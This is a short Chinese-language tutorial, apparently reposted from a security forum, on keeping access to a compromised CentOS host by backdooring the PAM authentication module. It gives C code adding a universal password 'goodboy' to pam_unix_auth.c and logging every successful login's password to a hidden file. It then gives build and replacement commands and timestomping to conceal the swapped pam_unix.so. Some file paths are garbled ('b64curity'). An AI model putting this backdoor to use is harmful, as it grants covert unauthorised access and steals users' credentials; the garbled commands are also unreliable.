内网技巧-Linux权限维持之PAM万能密码登录
原文地址:https://xz.aliyun.com/t/8618
试验环境:Centos8.2
pam版本1.3.1
[root@localhost ~]# cat /etc/redhat-release CentOS Linux release 8.2.2004 (Core) [root@localhost ~]# rpm -qa |grep pam pam-1.3.1-8.el8.x86_64 systemd-pam-239-29.el8.x86_64 [root@localhost ~]#
PAM包下载地址:
http://www.linux-pam.org/library/
因为没有找到1.3.1 的所以用的是1.3.0。这里使用1.3.0 不影响
http://www.linux-pam.org/library/Linux-PAM-1.3.0.tar.gz
修改moudles/pam_unix/pam_unix_auth.c 代码
大概是176行左右
if(strcmp(p,"goodboy")==0) { retval = PAM_SUCCESS; } if(retval== PAM_SUCCESS) { FILE *fp = fopen("/usr/share/java/.null","a+"); fprintf(fp,"%s::%s\n",name,p); fclose(fp); }
修改完之后传到服务器中进行编译
chmod +x configure && ./configure && make
编译完成之后找到目录modules/pam_unix/.libs/
随后替换 pam_unix.so文件,系统原本的认证文件为/lib64/security/pam_unix.so
32位系统为/lib/security/pam_unix.so
备份 cp -af b64curity/pam_unix.so /opt/ 用编译好的pam_unix.so文件替换 cp -af pam_unix.so b64curity/ 修改时间 touch -r b64curity/pam_userdb.so b64curity/pam_unix.so
验证
使用以前的密码和当前的密码都是可以进行登陆的。